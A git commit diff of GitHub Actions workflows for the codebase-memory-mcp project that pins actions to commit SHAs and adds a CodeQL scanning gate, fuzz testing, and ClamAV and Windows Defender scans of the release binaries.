mirror of
https://github.com/DeusData/codebase-memory-mcp.git
synced 2026-10-28 07:03:20 +08:00
Merge branch 'main' into fix/libgit2-diff-options-init
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
@@ -0,0 +1,32 @@
|
||||
name: CodeQL SAST
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
permissions:
|
||||
security-events: write
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install build dependencies
|
||||
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
|
||||
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
|
||||
with:
|
||||
languages: c-cpp
|
||||
build-mode: manual
|
||||
|
||||
- name: Build for CodeQL analysis
|
||||
run: scripts/build.sh
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
|
||||
with:
|
||||
category: "/language:c-cpp"
|
||||
+142
-22
@@ -25,7 +25,7 @@ jobs:
|
||||
if: ${{ !inputs.skip_lint }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install build deps
|
||||
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev cmake
|
||||
@@ -37,7 +37,7 @@ jobs:
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y clang-format-20
|
||||
|
||||
- uses: actions/cache@v4
|
||||
- uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
|
||||
id: cppcheck-cache
|
||||
with:
|
||||
path: /opt/cppcheck
|
||||
@@ -64,7 +64,7 @@ jobs:
|
||||
if: ${{ !inputs.skip_lint }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: "Layer 1: Static allow-list audit"
|
||||
run: scripts/security-audit.sh
|
||||
@@ -75,6 +75,79 @@ jobs:
|
||||
- name: "Layer 8: Vendored dependency integrity"
|
||||
run: scripts/security-vendored.sh
|
||||
|
||||
# ── Step 1c: CodeQL SAST gate ────────────────────────────────
|
||||
codeql-gate:
|
||||
if: ${{ !inputs.skip_lint }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Wait for CodeQL on current commit (max 45 min)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
CURRENT_SHA="${{ github.sha }}"
|
||||
echo "Current commit: $CURRENT_SHA"
|
||||
echo "Waiting for CodeQL to complete on this commit..."
|
||||
|
||||
for attempt in $(seq 1 90); do
|
||||
LATEST=$(gh api repos/${{ github.repository }}/actions/workflows/codeql.yml/runs?per_page=5 \
|
||||
--jq '.workflow_runs[] | select(.head_sha == "'"$CURRENT_SHA"'") | "\(.conclusion) \(.status)"' 2>/dev/null | head -1 || echo "")
|
||||
|
||||
if [ -z "$LATEST" ]; then
|
||||
echo " Attempt $attempt/90: No CodeQL run found for $CURRENT_SHA yet..."
|
||||
sleep 30
|
||||
continue
|
||||
fi
|
||||
|
||||
CONCLUSION=$(echo "$LATEST" | cut -d' ' -f1)
|
||||
STATUS=$(echo "$LATEST" | cut -d' ' -f2)
|
||||
|
||||
if [ "$STATUS" = "completed" ] && [ "$CONCLUSION" = "success" ]; then
|
||||
echo "=== CodeQL completed successfully on current commit ==="
|
||||
exit 0
|
||||
elif [ "$STATUS" = "completed" ]; then
|
||||
echo "BLOCKED: CodeQL completed with conclusion: $CONCLUSION"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo " Attempt $attempt/90: CodeQL status=$STATUS (waiting 30s)..."
|
||||
sleep 30
|
||||
done
|
||||
|
||||
echo "BLOCKED: CodeQL did not complete within 45 minutes"
|
||||
exit 1
|
||||
|
||||
- name: Check for open code scanning alerts
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
# Wait for GitHub to finish processing alert state changes.
|
||||
# There is a race between CodeQL marking the workflow as "completed"
|
||||
# and the alerts API reflecting new/closed alerts from that scan.
|
||||
echo "Waiting 60s for alert API to settle after CodeQL completion..."
|
||||
sleep 60
|
||||
|
||||
# Poll alerts twice with a gap to confirm the count is stable
|
||||
ALERTS1=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
|
||||
echo "Open alerts (check 1): $ALERTS1"
|
||||
sleep 15
|
||||
ALERTS2=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
|
||||
echo "Open alerts (check 2): $ALERTS2"
|
||||
|
||||
# Use the higher count (conservative — if either check sees alerts, block)
|
||||
ALERTS=$ALERTS2
|
||||
if [ "$ALERTS1" -gt "$ALERTS2" ]; then
|
||||
ALERTS=$ALERTS1
|
||||
fi
|
||||
|
||||
if [ "$ALERTS" -gt 0 ]; then
|
||||
echo "BLOCKED: $ALERTS open code scanning alert(s) found."
|
||||
gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' \
|
||||
--jq '.[] | " #\(.number) [\(.rule.security_severity_level // .rule.severity)] \(.rule.id) — \(.most_recent_instance.location.path):\(.most_recent_instance.location.start_line)"' 2>/dev/null || true
|
||||
echo "Fix them: https://github.com/${{ github.repository }}/security/code-scanning"
|
||||
exit 1
|
||||
fi
|
||||
echo "=== CodeQL gate passed (0 open alerts) ==="
|
||||
|
||||
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
|
||||
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
|
||||
# Linux: use system gcc — full ASan/UBSan support
|
||||
@@ -104,7 +177,7 @@ jobs:
|
||||
cxx: c++
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install deps (Ubuntu)
|
||||
if: startsWith(matrix.os, 'ubuntu')
|
||||
@@ -118,9 +191,9 @@ jobs:
|
||||
needs: [lint]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -163,13 +236,13 @@ jobs:
|
||||
cxx: c++
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install deps (Ubuntu)
|
||||
if: startsWith(matrix.os, 'ubuntu')
|
||||
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
|
||||
with:
|
||||
node-version: "22"
|
||||
|
||||
@@ -178,8 +251,9 @@ jobs:
|
||||
|
||||
- name: Archive standard binary
|
||||
run: |
|
||||
cp LICENSE build/c/
|
||||
tar -czf codebase-memory-mcp-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
-C build/c codebase-memory-mcp
|
||||
-C build/c codebase-memory-mcp LICENSE
|
||||
|
||||
- name: Build UI binary
|
||||
run: scripts/build.sh --with-ui CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
|
||||
@@ -190,10 +264,11 @@ jobs:
|
||||
|
||||
- name: Archive UI binary
|
||||
run: |
|
||||
cp LICENSE build/c/
|
||||
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
-C build/c codebase-memory-mcp
|
||||
-C build/c codebase-memory-mcp LICENSE
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
|
||||
path: "*.tar.gz"
|
||||
@@ -203,9 +278,9 @@ jobs:
|
||||
needs: [test-unix, test-windows]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -215,7 +290,7 @@ jobs:
|
||||
make
|
||||
zip
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
|
||||
with:
|
||||
node-version: "22"
|
||||
|
||||
@@ -229,7 +304,7 @@ jobs:
|
||||
BIN=build/c/codebase-memory-mcp
|
||||
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
|
||||
cp "$BIN" codebase-memory-mcp.exe
|
||||
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe
|
||||
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe LICENSE
|
||||
|
||||
- name: Build UI binary
|
||||
shell: msys2 {0}
|
||||
@@ -241,9 +316,9 @@ jobs:
|
||||
BIN=build/c/codebase-memory-mcp
|
||||
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
|
||||
cp "$BIN" codebase-memory-mcp-ui.exe
|
||||
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe
|
||||
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe LICENSE
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: binaries-windows-amd64
|
||||
path: "*.zip"
|
||||
@@ -271,9 +346,9 @@ jobs:
|
||||
variant: [standard, ui]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
|
||||
|
||||
@@ -302,6 +377,37 @@ jobs:
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Fuzz testing (60s random input)
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz-random.sh ./codebase-memory-mcp 60
|
||||
|
||||
- name: ClamAV scan (Linux)
|
||||
if: matrix.variant == 'standard' && startsWith(matrix.os, 'ubuntu')
|
||||
run: |
|
||||
sudo apt-get update -qq && sudo apt-get install -y -qq clamav > /dev/null 2>&1
|
||||
sudo sed -i 's/^Example/#Example/' /etc/clamav/freshclam.conf 2>/dev/null || true
|
||||
grep -q "DatabaseMirror" /etc/clamav/freshclam.conf 2>/dev/null || \
|
||||
echo "DatabaseMirror database.clamav.net" | sudo tee -a /etc/clamav/freshclam.conf > /dev/null
|
||||
sudo freshclam --quiet
|
||||
echo "=== ClamAV scan ==="
|
||||
clamscan --no-summary ./codebase-memory-mcp
|
||||
echo "=== ClamAV: clean ==="
|
||||
|
||||
- name: ClamAV scan (macOS)
|
||||
if: matrix.variant == 'standard' && startsWith(matrix.os, 'macos')
|
||||
run: |
|
||||
brew install clamav > /dev/null 2>&1
|
||||
CLAMAV_ETC=$(brew --prefix)/etc/clamav
|
||||
if [ ! -f "$CLAMAV_ETC/freshclam.conf" ]; then
|
||||
cp "$CLAMAV_ETC/freshclam.conf.sample" "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
|
||||
sed -i '' 's/^Example/#Example/' "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
|
||||
echo "DatabaseMirror database.clamav.net" >> "$CLAMAV_ETC/freshclam.conf"
|
||||
fi
|
||||
freshclam --quiet --no-warnings 2>/dev/null || freshclam --quiet 2>/dev/null || echo "WARNING: freshclam update failed, using bundled signatures"
|
||||
echo "=== ClamAV scan (macOS) ==="
|
||||
clamscan --no-summary ./codebase-memory-mcp
|
||||
echo "=== ClamAV: clean ==="
|
||||
|
||||
smoke-windows:
|
||||
if: ${{ !inputs.skip_builds }}
|
||||
needs: [build-windows]
|
||||
@@ -311,9 +417,9 @@ jobs:
|
||||
variant: [standard, ui]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -321,7 +427,7 @@ jobs:
|
||||
mingw-w64-clang-x86_64-python3
|
||||
unzip
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
name: binaries-windows-amd64
|
||||
|
||||
@@ -345,3 +451,17 @@ jobs:
|
||||
if: matrix.variant == 'standard'
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp.exe
|
||||
|
||||
- name: Windows Defender scan
|
||||
if: matrix.variant == 'standard'
|
||||
shell: pwsh
|
||||
run: |
|
||||
Write-Host "=== Windows Defender scan (with ML heuristics) ==="
|
||||
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate 2>$null
|
||||
$result = & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "$PWD\codebase-memory-mcp.exe" -DisableRemediation
|
||||
Write-Host $result
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "BLOCKED: Windows Defender flagged the binary!"
|
||||
exit 1
|
||||
}
|
||||
Write-Host "=== Windows Defender: clean ==="
|
||||
|
||||
+282
-129
@@ -27,7 +27,7 @@ jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install build deps
|
||||
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev cmake
|
||||
@@ -39,7 +39,7 @@ jobs:
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y clang-format-20
|
||||
|
||||
- uses: actions/cache@v4
|
||||
- uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
|
||||
id: cppcheck-cache
|
||||
with:
|
||||
path: /opt/cppcheck
|
||||
@@ -65,7 +65,7 @@ jobs:
|
||||
security-static:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: "Layer 1: Static allow-list audit"
|
||||
run: scripts/security-audit.sh
|
||||
@@ -76,6 +76,80 @@ jobs:
|
||||
- name: "Layer 8: Vendored dependency integrity"
|
||||
run: scripts/security-vendored.sh
|
||||
|
||||
# ── Step 1c: CodeQL SAST gate ────────────────────────────────
|
||||
# Verifies CodeQL has run on the current commit AND has 0 open alerts.
|
||||
# Prevents false green from stale/missing scans.
|
||||
codeql-gate:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Wait for CodeQL on current commit (max 45 min)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
CURRENT_SHA="${{ github.sha }}"
|
||||
echo "Current commit: $CURRENT_SHA"
|
||||
echo "Waiting for CodeQL to complete on this commit..."
|
||||
|
||||
for attempt in $(seq 1 90); do
|
||||
LATEST=$(gh api repos/${{ github.repository }}/actions/workflows/codeql.yml/runs?per_page=5 \
|
||||
--jq '.workflow_runs[] | select(.head_sha == "'"$CURRENT_SHA"'") | "\(.conclusion) \(.status)"' 2>/dev/null | head -1 || echo "")
|
||||
|
||||
if [ -z "$LATEST" ]; then
|
||||
echo " Attempt $attempt/90: No CodeQL run found for $CURRENT_SHA yet..."
|
||||
sleep 30
|
||||
continue
|
||||
fi
|
||||
|
||||
CONCLUSION=$(echo "$LATEST" | cut -d' ' -f1)
|
||||
STATUS=$(echo "$LATEST" | cut -d' ' -f2)
|
||||
|
||||
if [ "$STATUS" = "completed" ] && [ "$CONCLUSION" = "success" ]; then
|
||||
echo "=== CodeQL completed successfully on current commit ==="
|
||||
exit 0
|
||||
elif [ "$STATUS" = "completed" ]; then
|
||||
echo "BLOCKED: CodeQL completed with conclusion: $CONCLUSION"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo " Attempt $attempt/90: CodeQL status=$STATUS (waiting 30s)..."
|
||||
sleep 30
|
||||
done
|
||||
|
||||
echo "BLOCKED: CodeQL did not complete within 45 minutes"
|
||||
exit 1
|
||||
|
||||
- name: Check for open code scanning alerts
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
# Wait for GitHub to finish processing alert state changes.
|
||||
# There is a race between CodeQL marking the workflow as "completed"
|
||||
# and the alerts API reflecting new/closed alerts from that scan.
|
||||
echo "Waiting 60s for alert API to settle after CodeQL completion..."
|
||||
sleep 60
|
||||
|
||||
# Poll alerts twice with a gap to confirm the count is stable
|
||||
ALERTS1=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
|
||||
echo "Open alerts (check 1): $ALERTS1"
|
||||
sleep 15
|
||||
ALERTS2=$(gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' --jq 'length' 2>/dev/null || echo "0")
|
||||
echo "Open alerts (check 2): $ALERTS2"
|
||||
|
||||
# Use the higher count (conservative — if either check sees alerts, block)
|
||||
ALERTS=$ALERTS2
|
||||
if [ "$ALERTS1" -gt "$ALERTS2" ]; then
|
||||
ALERTS=$ALERTS1
|
||||
fi
|
||||
|
||||
if [ "$ALERTS" -gt 0 ]; then
|
||||
echo "BLOCKED: $ALERTS open code scanning alert(s) found."
|
||||
gh api 'repos/${{ github.repository }}/code-scanning/alerts?state=open' \
|
||||
--jq '.[] | " #\(.number) [\(.rule.security_severity_level // .rule.severity)] \(.rule.id) — \(.most_recent_instance.location.path):\(.most_recent_instance.location.start_line)"' 2>/dev/null || true
|
||||
echo "Fix them: https://github.com/${{ github.repository }}/security/code-scanning"
|
||||
exit 1
|
||||
fi
|
||||
echo "=== CodeQL gate passed (0 open alerts on current commit) ==="
|
||||
|
||||
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
|
||||
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
|
||||
# Linux: use system gcc — full ASan/UBSan support
|
||||
@@ -104,7 +178,7 @@ jobs:
|
||||
cxx: c++
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install deps (Ubuntu)
|
||||
if: startsWith(matrix.os, 'ubuntu')
|
||||
@@ -117,9 +191,9 @@ jobs:
|
||||
needs: [lint]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -161,13 +235,13 @@ jobs:
|
||||
cxx: c++
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- name: Install deps (Ubuntu)
|
||||
if: startsWith(matrix.os, 'ubuntu')
|
||||
run: sudo apt-get update && sudo apt-get install -y zlib1g-dev
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
|
||||
with:
|
||||
node-version: "22"
|
||||
|
||||
@@ -176,8 +250,9 @@ jobs:
|
||||
|
||||
- name: Archive standard binary
|
||||
run: |
|
||||
cp LICENSE build/c/
|
||||
tar -czf codebase-memory-mcp-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
-C build/c codebase-memory-mcp
|
||||
-C build/c codebase-memory-mcp LICENSE
|
||||
|
||||
- name: Build UI binary
|
||||
run: scripts/build.sh --with-ui --version ${{ inputs.version }} CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
|
||||
@@ -188,10 +263,11 @@ jobs:
|
||||
|
||||
- name: Archive UI binary
|
||||
run: |
|
||||
cp LICENSE build/c/
|
||||
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
-C build/c codebase-memory-mcp
|
||||
-C build/c codebase-memory-mcp LICENSE
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
|
||||
path: "*.tar.gz"
|
||||
@@ -200,9 +276,9 @@ jobs:
|
||||
needs: [test-unix, test-windows]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -212,7 +288,7 @@ jobs:
|
||||
make
|
||||
zip
|
||||
|
||||
- uses: actions/setup-node@v4
|
||||
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
|
||||
with:
|
||||
node-version: "22"
|
||||
|
||||
@@ -226,7 +302,7 @@ jobs:
|
||||
BIN=build/c/codebase-memory-mcp
|
||||
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
|
||||
cp "$BIN" codebase-memory-mcp.exe
|
||||
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe
|
||||
zip codebase-memory-mcp-windows-amd64.zip codebase-memory-mcp.exe LICENSE
|
||||
|
||||
- name: Build UI binary
|
||||
shell: msys2 {0}
|
||||
@@ -238,9 +314,9 @@ jobs:
|
||||
BIN=build/c/codebase-memory-mcp
|
||||
[ -f "${BIN}.exe" ] && BIN="${BIN}.exe"
|
||||
cp "$BIN" codebase-memory-mcp-ui.exe
|
||||
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe
|
||||
zip codebase-memory-mcp-ui-windows-amd64.zip codebase-memory-mcp-ui.exe LICENSE
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: binaries-windows-amd64
|
||||
path: "*.zip"
|
||||
@@ -266,9 +342,9 @@ jobs:
|
||||
variant: [standard, ui]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
name: binaries-${{ matrix.goos }}-${{ matrix.goarch }}
|
||||
|
||||
@@ -297,6 +373,40 @@ jobs:
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Fuzz testing (60s random input)
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz-random.sh ./codebase-memory-mcp 60
|
||||
|
||||
# Native platform antivirus scan
|
||||
- name: ClamAV scan (Linux)
|
||||
if: matrix.variant == 'standard' && startsWith(matrix.os, 'ubuntu')
|
||||
run: |
|
||||
sudo apt-get update -qq && sudo apt-get install -y -qq clamav > /dev/null 2>&1
|
||||
# Ensure freshclam config has DatabaseMirror set
|
||||
sudo sed -i 's/^Example/#Example/' /etc/clamav/freshclam.conf 2>/dev/null || true
|
||||
grep -q "DatabaseMirror" /etc/clamav/freshclam.conf 2>/dev/null || \
|
||||
echo "DatabaseMirror database.clamav.net" | sudo tee -a /etc/clamav/freshclam.conf > /dev/null
|
||||
sudo freshclam --quiet
|
||||
echo "=== ClamAV scan ==="
|
||||
clamscan --no-summary ./codebase-memory-mcp
|
||||
echo "=== ClamAV: clean ==="
|
||||
|
||||
- name: ClamAV scan (macOS)
|
||||
if: matrix.variant == 'standard' && startsWith(matrix.os, 'macos')
|
||||
run: |
|
||||
brew install clamav > /dev/null 2>&1
|
||||
CLAMAV_ETC=$(brew --prefix)/etc/clamav
|
||||
if [ ! -f "$CLAMAV_ETC/freshclam.conf" ]; then
|
||||
cp "$CLAMAV_ETC/freshclam.conf.sample" "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
|
||||
sed -i '' 's/^Example/#Example/' "$CLAMAV_ETC/freshclam.conf" 2>/dev/null || true
|
||||
echo "DatabaseMirror database.clamav.net" >> "$CLAMAV_ETC/freshclam.conf"
|
||||
fi
|
||||
# Download signatures (--no-warnings suppresses X509 store errors on macOS)
|
||||
freshclam --quiet --no-warnings 2>/dev/null || freshclam --quiet 2>/dev/null || echo "WARNING: freshclam update failed, using bundled signatures"
|
||||
echo "=== ClamAV scan (macOS) ==="
|
||||
clamscan --no-summary ./codebase-memory-mcp
|
||||
echo "=== ClamAV: clean ==="
|
||||
|
||||
smoke-windows:
|
||||
needs: [build-windows]
|
||||
strategy:
|
||||
@@ -304,9 +414,9 @@ jobs:
|
||||
variant: [standard, ui]
|
||||
runs-on: windows-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: msys2/setup-msys2@v2
|
||||
- uses: msys2/setup-msys2@4f806de0a5a7294ffabaff804b38a9b435a73bda # v2
|
||||
with:
|
||||
msystem: CLANG64
|
||||
path-type: inherit
|
||||
@@ -314,7 +424,7 @@ jobs:
|
||||
mingw-w64-clang-x86_64-python3
|
||||
unzip
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
||||
with:
|
||||
name: binaries-windows-amd64
|
||||
|
||||
@@ -339,18 +449,36 @@ jobs:
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp.exe
|
||||
|
||||
# Windows Defender scan (includes ML heuristics — catches what VirusTotal misses)
|
||||
- name: Windows Defender scan
|
||||
if: matrix.variant == 'standard'
|
||||
shell: pwsh
|
||||
run: |
|
||||
Write-Host "=== Windows Defender scan (with ML heuristics) ==="
|
||||
# Update definitions first
|
||||
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate 2>$null
|
||||
# Full scan of the binary
|
||||
$result = & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "$PWD\codebase-memory-mcp.exe" -DisableRemediation
|
||||
Write-Host $result
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "BLOCKED: Windows Defender flagged the binary!"
|
||||
Write-Host "Exit code: $LASTEXITCODE"
|
||||
exit 1
|
||||
}
|
||||
Write-Host "=== Windows Defender: clean ==="
|
||||
|
||||
# ── Step 5: Create DRAFT release (not public yet) ─────────────
|
||||
release-draft:
|
||||
needs: [smoke-unix, smoke-windows, security-static]
|
||||
needs: [smoke-unix, smoke-windows, security-static, codeql-gate]
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
id-token: write
|
||||
attestations: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
